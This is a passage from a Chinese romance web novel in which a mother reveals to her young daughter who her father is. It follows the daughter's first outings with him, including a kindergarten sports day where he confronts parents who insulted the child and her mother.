“妈妈,没关系的,我原谅妈妈。”青柠忽然伸手,搂住了温昭宁的脖子,“我相信妈妈不告诉我们,一定是有原因的。妈妈又不是小傻瓜,如果不是有原因,妈妈怎么会选择坏爸爸,而不是那么帅的好爸爸呢。” 孩子的思维好纯粹,她理解问题的方式,也好纯粹。 温昭宁的心被她温暖的小手托起,酸酸的,胀胀的,当然,还有一种从未有过的轻盈感。 这个秘密,她终于说出来。 现在看来,青柠的接受度也还不错。 “谢谢青柠愿意原谅妈妈。” “妈妈,我好开心贺叔叔是我爸爸!”青柠做梦都希望贺淮钦能成为她的新爸爸,现在,美梦成真,她眼里都是亮晶晶的笑意,“妈妈,那贺叔……哦,不对,那爸爸会和你结婚吗?我们幼儿园的小朋友,爸爸和妈妈都是结婚的,爸爸和妈妈还每天都在生活在一起,那妈妈是不是也会和爸爸结婚,我们三个人以后是不是也会每天在一起呢?” 青柠已经开始了她的美好畅想。 温昭宁语塞。 她刚卸下一个沉重的秘密,转瞬,另一个难题就朝她压过来。 她该怎么告诉青柠,爸爸会和别的阿姨结婚,而她,甚至可能离开妈妈,去加入他们的家庭。 “宝贝,你和爸爸现在刚刚知道彼此的关系,现在最重要的是你们两个以父女的身份好好相处,别的我们先不考虑好不好?” “好。”青柠没多想,“那我明天要用彩泥做一个手工礼物,后天送给他。” “好。”温昭宁摸了摸女儿的小脑袋,“你送的礼物,爸爸一定非常喜欢。” -- 周六,是贺淮钦约定来接青柠的日子。 周五那天下午,贺淮钦通过律师,将周六的行程,去哪里玩,玩的内容,全都提前告知了温昭宁。 他完全是按照法律流程公事公办的态度,让温昭宁这边挑不出一丝错,也感觉不到一丝温度。 周五那天夜里,温昭宁又失眠了。 她服了两颗褪黑素,但一点作用都没有,她就这样晕乎乎地睁眼到了天亮。 青柠也醒得很早。 一早起来,她就让温昭宁给她换上自己最喜欢的粉色小裙子,拿着她给贺淮钦做的手工礼物,等在院子里。 温昭宁没有去民宿,就坐在青柠身边,陪着她等待。 八点,是贺淮钦昨天通过律师沟通好的时间,越临近这个时间,温昭宁心里越躁郁难安。 青柠似乎觉察到了温昭宁的情绪,站起来搂住她。 “妈妈,你怎么了?” 温昭宁摇头:“妈妈没事。” “妈妈你为什么不和我们一起出去玩吗?” “妈妈今天民宿有事,走不开。” “那下次,下次我们一定要一起去哦。” “好。” 八点,贺淮钦的车停在温昭宁家门口。 贺淮钦今天穿得很休闲,烟灰色的羊绒衫,黑色的长裤,外面套了一件深色的夹克。 青柠听到声音,迫不及待地跑到门口,又刹住了脚步。 今天来接她的不是贺叔叔,而是爸爸。 这个转变,让青柠激动也陌生。 “青柠。”贺淮钦看到青柠,蹲下来朝她张开了手臂。 青柠回头看了眼温昭宁。 温昭宁百般不舍,但还是扬起唇,冲女儿点了点头:“去吧,叫爸爸。” 青柠在温昭宁的鼓励下,瞬间拥有了莫大的勇气,她飞奔过去,一下扑进贺淮钦的怀里。 “爸爸。” 那两个字,像两颗纯净又滚烫的露珠,猝不及防地滴落在贺淮钦冰封已久的心湖上。 不是叔叔。 是爸爸。 从他血脉相连的女儿口中,唤出的“爸爸”。 贺淮钦的心狠狠一颤,一种近乎战栗的狂喜席卷了他。 他用无比珍重的力道,环住青柠柔软温暖的小身体,一把将她抱了起来。 青柠那么小,那么轻,却一瞬间就填满了他生命中某个空缺已久的角落。 “青柠,你叫我什么?再叫一遍好不好?” “爸爸。” “再叫一遍。” “爸爸,爸爸,爸爸!” 第82章 我不要离开妈妈 青柠连着三声“爸爸”,让贺淮钦恨不能当下就把自己全部财产都捧到青柠面前来,统统送给她。 “诶,诶,诶!”他连着答应了三声,用手指捻掉了眼角的泪,“宝贝,宝贝,宝贝!” “诶,诶,诶!”青柠学着贺淮钦的语气回应他。 父女俩紧紧地抱在一起。 温昭宁站在院子里,看着这一幕,眼泪终于再也控制不住,汹涌地夺眶而出。 她飞快地转过身去,用手捂住嘴巴,不让自己发出任何声音打扰他们。 母亲姚冬雪也红了眼眶,悄悄别过脸去,抹了抹眼角。 “爸爸,我给你准备了礼物哦。”青柠拿出自己用彩泥捏的一个小人儿,“爸爸,你看,这是我捏的你哦。” 贺淮钦低头,看向女儿手中那个小小的彩泥人。 那是一个手掌大小的人形,捏得并不十分精致,但特征非常明显,彩泥人最大的特征就是穿着西装,手长腿长。 “谢谢青柠。”贺淮钦伸出双手,极其郑重地从女儿的小手中接过这个礼物。 “你喜欢吗?”青柠仰着小脸,眼巴巴地望着他,等他的评价。 “爸爸很喜欢,非常非常喜欢。” 贺淮钦低下头,用自己的额头,轻轻碰了碰女儿光洁的小额头。 青柠感受到了爸爸那快要满出来的喜悦和爱意,也开心地笑了起来。 贺淮钦把青柠接走了,他离开的时候,和姚冬雪打了招呼,说晚上七点之前会把青柠送回来,但他没有理会温昭宁,看都没有看她一眼。 温昭宁看着贺淮钦的车远去,感觉院子里一下子就空了许多。 她一个人呆呆地站了许久,直到母亲过来,拍了拍她的肩膀。 “好了,他们都走远了,你赶紧回屋吧,外面凉。” “嗯,我去民宿了。” “好。” 温昭宁去了民宿,试图让自己忙起来,平时忙的时候总觉得时间过得很快,一眨眼就天黑了,可今天,她一连做了好几件事情,抬腕看一眼手表,才中午十二点半。 时间仿佛变得格外缓慢,每一分每一秒都被无限拉长。 她忍不住一次又一次地解锁手机,查看消息,明知贺淮钦早已把她拉黑,他根本不可能和她实时汇报,可她就是控制不住地去看手机。 下午两点半,温昭宁一直没有动静的手机,忽然“叮叮叮叮”连续响了好几下。 是微信的提示音。 温昭宁正在整理民宿的书架,听到声音,心脏莫名跟着一跳,她有预感,这信息可能和青柠有关,她赶紧擦了擦手,迫不及待地去点开手机。 信息是苏云溪发来的,不是文字,而是几张照片。 第一张,是在一个宽敞明亮,色彩鲜明的室内儿童乐园,青柠站在海洋球池里,开怀大笑。 第二张,是在一个高档的亲子餐厅,青柠坐在儿童座椅上,正低头品尝一个草莓蛋糕。 第三张,是青柠抱着一个比她还高的泰迪熊玩偶,朝着镜头开心比耶。 …… 苏云溪一共发来九张照片,每一张照片里的主角都是青柠。 照片拍摄的角度和光线都很好,捕捉到的瞬间更是自然又充满温情,可以感受到拍摄照片的人对青柠满满的爱。 最后一张,是青柠和贺淮钦的自拍合照,两人脸颊贴在一起,相似的眉眼都带着笑意,亲昵的氛围感扑面而来。 “溪溪,这些照片你从哪里来的?” 苏云溪秒回:“贺淮钦的朋友圈!我的天,有生之年竟然还能看到贺淮钦发朋友圈!” 紧随其后,苏云溪又发来一张贺淮钦完整朋友圈的截图。 贺淮钦的文案是:“我的心肝小宝贝。” 贺淮钦发朋友圈? 不怪苏云溪这么震惊。 在温昭宁的记忆里,从她认识贺淮钦开始,贺淮钦就几乎从来不使用私人社交软件进行生活分享,他的朋友圈常年保持着一片空白。 可现在,他不仅发了,发的还是如此充满个人情感的亲子互动照片。 这意味着,他主动地向他整个社交圈公开宣告,他有一个女儿,一个放在心尖尖上的宝贝女儿。 贺淮钦对青柠的爱如此赤诚坦荡,让温昭宁感觉动容。 可是,贺淮钦这样高调的在朋友圈公开青柠,不怕他的未婚妻不高兴吗? 沈雅菁真的能接受青柠? -- 儿童餐厅。 青柠玩了一天,但丝毫没有疲惫感,她还是很兴奋。 “爸爸,我觉得这一天过得也太快了,我还没有玩够呢。” “那青柠愿不愿意每天都和爸爸一起玩?就像今天这样,爸爸可以每天都陪你去好玩的地方,给你买很多很多玩具和漂亮裙子,带你吃你爱吃的东西。”贺淮钦试探着问。 “那妈妈呢?妈妈和我们一起吗?” 贺淮钦被问住了,他没有马上回答。 青柠是个敏感聪明的孩子,她看着爸爸沉默不语的样子,又想起之前自己问妈妈他们三个以后会不会在一起生活时,妈妈的同款沉默,她立刻意识到,爸爸和妈妈不会在一起。 那爸爸这么问是什么意思? 他要带着她离开妈妈吗? 青柠脸上的笑容,像是被按下了暂停键,瞬间一点点地消失了。 她放下了手里的叉子,那双刚刚还盛满快乐的大眼睛,立刻蒙上了一层清晰的警惕。 “爸爸,你要带着我离开妈妈?”青柠看着贺淮钦,非常认真地摇了摇头,“我不要离开妈妈。” 贺淮钦准备好的所有说辞,都卡在了喉咙里。 他没想到,会得到青柠如此干脆的拒绝。 “为什么?”贺淮钦下意识地问,“爸爸对你不好吗?还是今天玩得不够开心?青柠,爸爸可以给你更好的……” “我相信爸爸能给我更好的,可我不能离开妈妈。”青柠小脸铮铮的,“我之前有一个很坏的爸爸,妈妈和他在一起每天都不开心,她只有在看到我的时候才会笑,我问妈妈为什么,妈妈说,因为我是妈妈的开心果。如果我离开,妈妈没了开心果可怎么办?我不能有了好爸爸,就不要妈妈了,妈妈不开心,我也会难过的。” 青柠说完,抬起头,那双酷似贺淮钦的眼眸里,满满都是对妈妈的忠诚。 贺淮钦知道,青柠口中那个“坏爸爸”是指陆恒宇,他不理解的是,既然温昭宁在上一段婚姻里每天都不开心,那她为什么要嫁给陆恒宇,又为什么要在这段婚姻里坚持六年之久? 这些疑问,被青柠的话勾起,变得无比尖锐。 “青柠,你刚才说,妈妈以前因为‘坏爸爸’而不开心,那妈妈有没有和你说过,她既然不开心,为什么不离开那个‘坏爸爸’呢?” 第83章 强迫了温昭宁的婚姻 贺淮钦问出这个问题的时候,神经绷得紧紧的。 他知道利用孩子的单纯和信任去窥探她母亲的隐私和伤痛,这不道德,甚至有些卑劣,可是,他控制不住。他心底那股想要知道当年真相的冲动,压倒了理智。 青柠认真地想了一会儿,忽然,她像是想起了什么,小脸蛋上露出一种“我好像知道答案”的表情。 她凑到贺淮钦面前,语气变得有些神秘:“妈妈说起过哦,妈妈说,因为妈妈自己也有一个‘坏爸爸’。” 妈妈也有一个“坏爸爸”? 温昭宁的父亲? 难道,温昭宁的父亲,当年强迫了温昭宁的婚姻? -- 晚上七点。 贺淮钦准时把青柠送回了家。 温昭宁因为在民宿,没有碰到,贺淮钦直接把青柠交给了母亲姚冬雪,温昭宁回家的时候,姚冬雪已经帮青柠洗好澡,换好了衣服。 青柠坐在床上,一看到温昭宁,就急着扑过来抱住她,和她分享今天吃喝玩乐的细节。 “青柠今天是不是巨开心?”温昭宁问。 “是啊是啊,我今天巨开心的。爸爸带我玩了我之前不敢玩的海盗船,还带我吃了好吃的意大利面,哦,对了妈妈,我还给你带了个小蛋糕呢。”青柠从床头柜上拿了个小袋子递给温昭宁。 温昭宁打开袋子看了一眼,里面一个香草口味的蛋糕。 “你给妈妈带的?” “是啊,我说妈妈喜欢吃这个口味的蛋糕,爸爸就付钱啦。” 温昭宁摸摸青柠的小脸颊:“谢谢妈妈的宝贝,出门玩还记得妈妈。” “妈妈你快尝尝吧。” “好。” 温昭宁拿了个勺子,挖了一勺蛋糕送进嘴里,蛋糕口感香甜,是她喜欢的味道。 青柠在边上,凑过来:“妈妈,我又有点馋了,我可不可以舔一口?” “可你刷过牙了。” “没关系,我等下漱漱口就行了。” “小馋猫,真是馋。” 温昭宁嘴上数落,但还是把蛋糕递过去给青柠舔了一口。 青柠虽然馋,说话还是算数的,她说舔一口,就真的只是舔一口,解馋后,她就自觉地去漱了口,等漱完口回来,她继续坐在温昭宁身边叽叽喳喳地陪温昭宁聊天。 “哦,对了妈妈,我们学校下周三的亲子运动会,爸爸答应我,到时候会来和你一起参加。” 什么? 贺淮钦要和她一起参加青柠幼儿园的亲子运动会? 他为什么会答应? 在温昭宁看来,贺淮钦对她只有冰冷的法律程序和深刻的恨意,他连私下见她,和她说句话都不愿意,又怎么可能愿意和她一起以“青柠的爸爸妈妈”这种亲密无间的身份,出现在幼儿园那种公开的场合? 或许,只是为了满足青柠的心愿和期待吧。 -- 周三很快就到了。 青柠特别期待周三可以和爸爸妈妈一起参加幼儿园的亲子运动会。 周三早上,她早早起来,换上了温昭宁给她准备好的运动服,与温昭宁一起去了学校。 亲子运动会定在上午九点开始。 八点五十,基本上所有家长都已经陆续到齐了,可贺淮钦还没有到。 孩子们在老师的指挥下,开始排队,青柠在队伍中,频频回头,张望着幼儿园大门的方向,她小脸上的兴奋渐渐被一丝焦虑取代。 “妈妈,爸爸呢?”青柠忍不住跑过来,拉住了温昭宁的手,仰头问她:“爸爸怎么还不来?” “爸爸……可能路上有点堵车。”温昭宁勉强挤出一个笑容,安抚地摸了摸青柠的头,可其实,她的心里也开始打鼓。 贺淮钦会来吗? 她没有贺淮钦的任何联系方式,关于青柠的事情,他们一直都是通过律师联系的,难不成这会儿,她要去联系袁西律师,让袁律师去联系廖平律师,再让廖平律师去联系贺淮钦,问他来不来幼儿园参加亲子运动会? 这也太迂回曲折了吧? 别人扔个漂流瓶,都比他们联系上对方快。 “妈妈,你给爸爸打个电话吧。”青柠说。 温昭宁有点尴尬,她该怎么告诉青柠,她已经被她爸爸拉黑的事情呢? “温念初,你是不是没有爸爸啊?”青柠身后一个胖胖的小男生忽然笑起来。 “谁说我没有爸爸的?我有爸爸!” “哦,那我们怎么从来没有见过你爸爸呢?你爸爸来接过你放学吗?好像没有吧?如果你有爸爸,那他今天怎么不来?”小男生一脸嘲讽的表情,“我看你就是撒谎,你根本没有爸爸,你就是个小野种。” 温昭宁眉头一紧,一股怒意,如同岩浆,在她胸腔里沸腾起来。 她看了一眼那小男生的父母,两个人明明都听到了,却像耳聋似的,根本不觉得自己儿子这番说辞有什么问题。 也是,如果他们能意识到自己的儿子有问题,早早教育,这孩子也不可能当着这么多人的面说出这种话来。 “喂,你怎么说话的?”温昭宁挡到青柠面前,指着那个胖胖的小男生说,“你早上吃什么出门了,嘴巴这么臭?” 小男生见温昭宁这个大人出面了,立刻“哇”的一声哭出来。 “妈妈……这个阿姨骂我。” 小男生的母亲立刻跳出来:“孩子之间说点玩笑话,这不是很正常吗?你一个大人瞎掺和什么啊?还把我儿子吓哭了,你给他道歉!” “玩笑话?没有爸爸的小野种这么恶毒的话,在你听来就是玩笑话?”温昭宁声音拔高,“我说呢,这小孩怎么这么恶毒这么坏,原来是有三观这么颠的家长,难怪了!” 周围的人都朝他们看过来。 小男生的母亲脸上有点挂不住,立刻抬肘撞了撞小男生的父亲,那男人一下冲到温昭宁面前,大声说:“你他妈骂谁呢?你自己家庭情况特殊,还不让别人说了?你有本事就让你男人站出来啊,让孩子爸爸出来给我们大家看看啊!我看别是你自己都不知道孩子爸爸是谁!骚狐狸精,私生活不检点!” 青柠被这男人凶神恶煞的样子吓哭了。 温昭宁把女儿抱起来,正要和那个男人争辩,就听到身后传来贺淮钦的声音。 “青柠!爸爸来了!” 第84章 给你老婆道个歉 众人闻声,都回过头去。 只见幼儿园的园长正恭恭敬敬地引着一个身材高大挺拔的男人,快步朝大班的区域走来。 那男人穿着一身质地考究的纯黑色运动服,运动服没有多余的logo,却透着一股低调而凛然的高级感。他步履沉稳,即使在人多的操场上,也走出了一种闲庭信步般的从容。 晨光落在他轮廓分明的脸上,这张脸在一群婚后发福的男人堆里,好看得有些过分了。 “贺先生,这边请,这边请,大班在这边……”园长的声音不大,却清晰地传了过来,带着小心翼翼地殷勤。 许多家长都停下了动作,好奇地打量着这个明显不属于他们这个“阶层”的陌生男人。 贺淮钦没理会周围的目光,他的视线第一时间锁定了那个穿着鹅黄色运动服的小小身影,以及温昭宁那明显带着怒意的脸。 他加快脚步,径直朝她们母女走来,所过之处,人群下意识地为他分开一条通道。 没一会儿,贺淮钦已经走到了温昭宁和青柠的面前。 “青柠,不好意思,爸爸已经提前出发了,但高速路上有车撞到了,堵了好久,是爸爸来晚了,对不起。”贺淮钦一边解释,一边蹲下来看着女儿,当他看到女儿眼眶里的泪花,神色一暗,“怎么哭了?” “爸爸!”青柠抓着贺淮钦的手,像是抓住了最可靠的倚仗,“刘易阳骂我小野种,刘易阳的爸爸妈妈还联合起来欺负妈妈!说妈妈是狐狸精,都不知道我的爸爸是谁!” 贺淮钦看了温昭宁一眼,难怪她的脸色这么难看。 他起身,很自然地将温昭宁和青柠护在身后。 “园长,今天是幼儿园的亲子运动会,发生这种事,你看怎么处理?”贺淮钦看着园长。 园长自然不想把事情闹大,但她感觉到贺淮钦无声的威压,有点乱了方寸:“贺先生,您看,您想怎么处理?” “先报警立案。”贺淮钦沉稳开口,“之后,我们将依法对刘易阳一家侵犯青柠的人格尊严和名誉权进行维权,同时,对刘易阳父母侮辱青柠妈妈的行为进行刑事追责。” 刘易阳父母一听要报警,还要打官司,神色立刻变了。 “青柠爸爸,你看,就孩子之间的一点点小摩擦,何必这么兴师动众的呢?”刘易阳的母亲低声说,“你要实在气不过,我让我儿子给你家女儿道个歉,我们再给你老婆道个歉,你看行不行?” 老婆…… 温昭宁头大,她就知道,她和贺淮钦一起来参加幼儿园的亲子运动会,别人一定会误会他们之间的关系。 果然,这就误会上了,还是在这么尴尬的时刻。 贺淮钦像是没听到那句“你老婆”,他面不改色,直截了当地拒绝:“我们不接受这么随意地道歉。” “那你想怎么样?”刘易阳爸爸怒气冲冲地问,“是不是想讹钱?” “我不差你那三瓜两枣,但是,你们该赔的精神损害抚慰金和该坐的牢一天都别想少。” “还坐牢?这事儿哪儿有你说的那么严重,吓唬谁呢?” “你们在多人的公开场合侮辱青柠和青柠妈妈,散布侮辱性言论,已经构成了《刑法》第二百四十六条规定的侮辱罪,情节严重的,将处以三年以下有期徒刑。” 用法律治法盲,完全是贺淮钦的舒适区。 “这……这……”刘易阳的父亲一听可能还要坐牢,彻底慌了,他一把将儿子拎过来,扬手扇了他一巴掌,“让你话多,还不快道歉!” “就是就是,还不快道歉!”刘易阳母亲也开始逼迫威胁儿子,“都是你话多,连累爸爸妈妈。” “孩子教成这样,家长首先应该反省一下自己。”旁边有家长帮腔,“这个刘易阳每天在班级里,不是攻击这个小朋友就是攻击那个小朋友,我儿子前几天还被他骂长得像猴子,希望青柠爸爸今天一定要好好惩治一下这一家子,否则,他们以后会越来越无法无天。” “就是就是!我女儿上周穿个红色的裙子,刘易阳说她骚,才大班的孩子,心思这么恶毒,可见家长天天在家里给他灌输了什么思想!” “刘易阳还说我儿子个头矮,是个矮冬瓜,我儿子好几天都不愿来上学,我去找他家长沟通,他家长还骂我一顿,真的是气死人!” “一定不能轻饶他们,我们都是证人!” 所有家长统一战线,同仇敌忾。 贺淮钦看向园长,又问了一遍:“园长,幼儿园里混进了一颗老鼠屎,这事,你看怎么处理?” 园长才知道这个刘易阳和他的家长这么恶劣,当即拍板:“立刻报警!” -- 为了不影响亲子运动会,警察来了后,直接被请进了园长办公室。 家长们做笔录虽然耽搁了一些时间,但班上最大的一颗毒瘤因此受到了惩罚,大家都非常高兴。 青柠也非常高兴,现在,大家不止知道她有爸爸了,还知道她的爸爸是个厉害的法律超人。 “爸爸,今天你保护我和妈妈的时候超级帅哦。”青柠对贺淮钦竖了竖大拇指,然后转头看向温昭宁,“妈妈!你觉得呢?” 温昭宁没想到青柠会忽然转头要她评价,她顿了两秒,才点头。 “我觉得青柠说得对。” 刚才贺淮钦为他们撑腰时的强大气场,确实给了温昭宁满满的安全感,她觉得,自己于情于理都该向贺淮钦道个谢。 她加快了步伐,走到贺淮钦身侧:“今天……谢谢你。” “不用。”贺淮钦脸上没什么表情,语气也平淡无波,“我只是帮青柠而已,帮你,是顺便。” 温昭宁自嘲。 也是,她和贺淮钦之间,除了青柠这个共同的血脉,早已什么都不剩了,他的恨,他的不原谅,他的疏离,都那么清晰明确,又怎么会因为她一时的困境有什么改变。 今天,不过是因为她恰好站在女儿身边,恰好也承受了那些恶意,所以,被顺便纳入了保护范围,仅此而已。 第85章 给妈妈也剥一个虾 这场临时的意外,让大班的亲子运动会推迟了四十分钟进行。 虽然比赛晚了四十分钟进行,但孩子们的热情丝毫不减。 前面的传球比赛、接力跑比赛和跳绳比赛,青柠和贺淮钦配合默契,都取得了不错的成绩,最后一个项目是“三人四足”。 这个比赛项目需要父母和孩子紧密配合,协同前进。 青柠站在温昭宁和贺淮钦的中间,她的左脚和贺淮钦的右脚牢牢绑在一起,她的右脚则和温昭宁的左脚牢牢绑在一起,这样一来,他们三个人就变成了“四条腿”。 “爸爸妈妈,我们一定要加油哦!我再赢一个爱心徽章,就可以去抽运动会盲盒了!”青柠牵着两人的手,仰起头看看左边的爸爸,又看看右边的妈妈,眼睛里闪烁着期待。 “好,加油!”温昭宁回应女儿。 贺淮钦也“嗯”了一声。 “各就各位——预备——”裁判老师举起发号施令的枪,“开始——砰!” 发令枪响! 几乎同时,三个人一起冲了出去。 刚开始的那几步,三人都有些混乱,磕磕绊绊,险些自己把自己绊倒。 “青柠,跟着节奏,一二,一二,一二!这样跑!” “好的,爸爸。” 贺淮钦步伐稳定有力,也为温昭宁和青柠带出了一个很好的节奏感。 在贺淮钦的引导下,三人的步伐落点逐渐变得很有默契,越跑越顺。 温昭宁原本有点紧张,跑着跑着,也放松了下来,她将自己身体的一部分控制权交给另一侧的贺淮钦,专注于配合他的步伐和保护女儿。 终点线越来越近,他们以绝对领先的速度,跑在了第一,青柠兴奋地尖叫起来,就在青柠掉以轻心的那一刹,青柠和温昭宁绑定的那只小脚踩中了跑道上的一颗小石子,身体瞬间失去平衡。 “青柠!” 温昭宁快速拉住了青柠,却被青柠带着不受控地往前倾倒,就当她以为他们三个会像多米诺骨牌一样摔成一排的时候,贺淮钦的右臂以迅雷不及掩耳之势,越过青柠的头顶,精准而有力地一把揽住了温昭宁的腰。 他的手臂像是一道最坚实的铁箍,带着惊人的力量,瞬间将温昭宁的身体牢牢固定住。 温昭宁站稳了,温昭宁攥住的青柠,自然也站稳了。 “青柠,没事吧?”贺淮钦问,“还可以继续吗?” 青柠被吓得不轻,但还是迅速调整好状态,点了点头:“我没事,可以继续。” “你呢?”贺淮钦看向温昭宁,他的手还在她的腰上,没有松开。 “我也没事。”温昭宁竭力忽略腰上的炙热的触感,冷静地说:“可以继续。” “好,那就稳住,继续走。” 贺淮钦的步伐再次启动,他揽着温昭宁的腰,护着青柠,以近乎半抱半扶的姿态,协调着三人最后的步伐,朝着近在咫尺的终点线,稳稳地冲了过去。 “耶!我们赢了!”青柠被爸爸妈妈带着冲过终点线,兴奋地拍手欢呼起来。 温昭宁也很开心,第一时间看向贺淮钦。 贺淮钦没什么反应,只是在冲过终点线的瞬间,就立刻松开了环在温昭宁腰间的手,那动作快得就像是被烫到一样。 温昭宁感觉到他收手,回过神来,也像什么都没有发生过一样,迅速挪开了视线。 她告诉自己,千万别多想,只是为了赢得比赛而已。 可那一瞬间,被牢牢护住的安全感,和他手掌间的温度,还是在她心湖激起了层层叠叠的涟漪。 -- 青柠最终通过自己的努力,换到了她想要的盲盒。 她特别高兴,捧着盲盒里的小玩具,一路蹦蹦跳跳地走到学校门口。 贺淮钦的车就停在学校门口的露天停车场里。 三人走出校门,他就转头对温昭宁说:“我带青柠去吃个饭,晚点送她回去。” 语气是通知,不是商量。 “好。”温昭宁拍了拍青柠的小脑袋,“乖乖听话,拜拜。” 她说完,正要转身去找自己的车,青柠忽然伸手,一把拉住了温昭宁的手。 “妈妈也去!”青柠仰起小脸,看着贺淮钦,声音软软的,但带着不容置疑的坚持,“爸爸,让妈妈和我们一起去吃饭吧!” 贺淮钦表情一滞。 温昭宁知道,带她一起去吃饭这个选项一定不在贺淮钦原本的计划之内,她赶紧蹲下来安抚女儿:“宝贝,你和爸爸去吃吧,妈妈民宿还有事情要处理呢。” “不要,就算有事情要处理,那你也要先吃饭的吧?”青柠小嘴一撇,指了指身边和爸爸妈妈一起回家的那些同学,“别的小朋友都是爸爸妈妈一起吃饭的,我也要和爸爸妈妈一起吃饭,一起去嘛!一起去嘛!” 青柠一边紧紧拉着温昭宁的手,转身又去拉贺淮钦的手,用力地把两只大手往一起凑,眼神里写满了对“完整”家庭的渴望。 贺淮钦看着女儿那泫然欲泣的执拗小表情,沉默了几秒,目光落到温昭宁的身上。 “那就一起去吧,吃完我就送你回民宿。” 温昭宁点点头。 她知道,贺淮钦是为了孩子,她也是为了孩子。 一切,只是为了孩子而已。 “耶,爸爸妈妈陪我一起去吃饭咯!”青柠小脸上绽放出灿烂的笑容,“今天真是开心的一天!” 三人上了车,贺淮钦转头问青柠:“宝贝,想吃什么?” “我想吃柠檬虾。”青柠说完,又看向温昭宁,“妈妈你呢,你想吃什么?” “妈妈都行,就吃青柠爱吃的。” “好耶。” 贺淮钦在镇上找了家环境不错的餐馆,点了几个青柠爱吃的菜。 刚坐下没多久,柠檬虾就端了上来。 贺淮钦挽起袖子,带上一次性手套,给青柠剥了一只虾放到她的盘子里。 “谢谢爸爸!”青柠开心地用儿童叉子叉起虾肉,咬了一口后,她忽然想起什么,“爸爸,妈妈新做了美甲,不能剥虾,你给妈妈也剥一个虾吧!” 第86章 顺便 让贺淮钦给她剥虾? 温昭宁听到青柠的话,一口果汁差点呛到了。 她的确刚做了美甲,但就是在本甲上涂了指甲油画了几个小图案,没有贴长长的甲片,还没有到不能剥虾的程度。 青柠这要求,属实有些夸张了。 况且,现在的贺淮钦怎么可能还会给她剥虾? “不用了,我……” 温昭宁拒绝的话还没说完,她面前的空碟上,已经多了一个剥好的虾。 不是吧。 贺淮钦竟然真的给她剥虾? 她不可置信地看向贺淮钦。 贺淮钦没看她,只顾看着盘子里的虾,给温昭宁剥好一个虾后,他又开始慢条斯理地剥第三个…… “谢谢。”温昭宁开口。 “顺便。” 温昭宁:“……” 行,顺便就顺便,反正她也没指望他是特地剥给她的。 一餐饭,温昭宁吃了五个虾,全是贺淮钦剥的,当然,五个都不是贺淮钦主动的,都是青柠要求的。 青柠是个孝顺的女宝,每次看到温昭宁面前的盘子空了,就会对贺淮钦说:“爸爸,再给妈妈剥一个虾吧。” 而贺淮钦又妥妥女儿奴,青柠让他做什么,他就做什么。 就这样,温昭宁自己一点没沾手,蹭了五个剥好的虾。 旁边桌有一对小情侣在用餐,那男的边吃边玩游戏,他女朋友耷拉着脸,指着贺淮钦说:“你看看别人的老公,长得又帅,还一直在给他老婆孩子剥虾,你呢,你就知道玩游戏!” 这是今天第二次被误会是夫妻了。 温昭宁有点不自然,她看向贺淮钦,犹豫着要不要解释。 贺淮钦还是面无波澜,选择用最直接也最冷漠的方式,来处理这个尴尬的误会,那就是无视,仿佛陌生人怎么定义他们的关系,都不值得他浪费任何情绪或者口舌去纠正。 也对,何必呢。 装听不见就好了。 只是,两个大人可以装听不见,但孩子还不懂如何屏蔽无用的信息,她听见了,那就是听见了。 青柠趁着贺淮钦出去接电话的功夫,凑到温昭宁的身边,对温昭宁说:“妈妈,你听到没有,刚才有人说你是爸爸的老婆。” 温昭宁干笑一声,试图扯开话题:“宝贝,你快吃饭饭,等下我们就要回去了。” “妈妈,你脸红了哦。”青柠完全没有被温昭宁带偏,而是继续说,“妈妈,爸爸真的特别好,在他还是贺叔叔的时候,我就希望他能成为我的新爸爸,没想到,我的梦想成真了,贺叔叔真的成了我的新爸爸。现在,我有爸爸了,我又有一个新梦想,那就是我希望我爸爸能成为妈妈的新老公,一个可以保护妈妈,照顾妈妈的新老公。” 温昭宁望着女儿天真无邪的脸庞,心里一阵酸楚。 她当然也知道贺淮钦是个很好很好的人,可惜,这样很好很好的人,不会属于她。 “青柠,你就不要操心妈妈了,只要青柠能幸福快乐,妈妈就会幸福快乐。” -- 温昭宁本想趁着贺淮钦去接电话的空档,把单先买了。 毕竟,今天在学校的时候,贺淮钦帮了她一次,她理应请他吃一顿饭当做答谢,可是,当她去买单的时候,店员告诉温昭宁,账已经结过了。 “谁结的?”温昭宁问。 “您先生结的。” 这店员都当着她的面说出来了,温昭宁当然不好任由别人误会。 “哦,他不是我先生。”温昭宁解释。 她话音刚落,就感觉身后一道冰冷的视线落在了她的身上。 温昭宁回头,看到贺淮钦不知什么时候站在了她的身后。 “那个……” 贺淮钦凛着脸不理她,越过了她就径直往里走。 温昭宁感觉到他身上漂浮着一股怒意,也不知道自己哪里又得罪他了,赶紧追上去:“贺先生,今天这餐我们AA吧,多少钱我转你。” “转我?”贺淮钦冷笑一声,“温小姐你有我的微信吗?” 温昭宁忽然想起来,对哦,她的微信都已经被他给拉黑删除了。 “那麻烦贺先生加我一下微信,我转给你。” “温小姐是想趁机加我的微信?抱歉,你不是我的菜!”他语气冲得很。 温昭宁有点莫名,两人今天难得破冰坐在一起吃饭,刚刚还好好的,怎么忽然之间他又吃了枪药似的。 “贺先生你别误会,我只是想给你钱。” “给现金。” “可我身上没带现金。” “那就转给我的助理。” 温昭宁默了一下,点点头:“好。” 于是,远在沪城的陈益,刚处理好一份文件,打开手机,看到温昭宁一百三十六元的转账,备注是:餐费。 陈益满头问号:“温小姐,什么餐费?” 温昭宁:“我今天和贺先生一起吃饭了,餐费AA,这是我要A给贺先生的餐费,但我没有他的微信,麻烦你帮忙转给他。” 陈益大无语。 不是,你俩都坐在一起吃饭了,不能加个微信转钱吗?为什么非得通过他转来转去的? 本来上班就烦,还得变成他们py的一环。 陈益收了温昭宁的转账,给贺淮钦转过去,备注:贺律,这是温小姐A给你的餐费。 贺淮钦秒退:“请你喝咖啡。” 陈益:“……” 好吧,这还差不多。 -- 吃完饭,贺淮钦把温昭宁和青柠送回了民宿。 温昭宁下午还要开会,便打电话让母亲来把青柠接回家,可打了好几个电话,母亲都没有接。 这是平时从来没有发生过的情况,温昭宁预感不对劲,赶紧带着青柠赶回家。 果然,她一进家门,就看到母亲姚冬雪伏靠在桌子上,双眸紧闭,脸色很差。 “妈。你怎么了?”温昭宁赶紧跑过去。 青柠也着急地跑过去抱住了姚冬雪:“外婆,你不舒服吗?” 姚冬雪听到她们的声音,慢慢睁开了眼睛。 “你们回来啦。” “嗯,你还好吗?” “没事,就是刚才理了把蒿菜,起来猛了,眼前黑了一下,我坐着缓一会儿就没事了。” 姚冬雪轻描淡写地带过,但温昭宁的心头还是沉甸甸的。 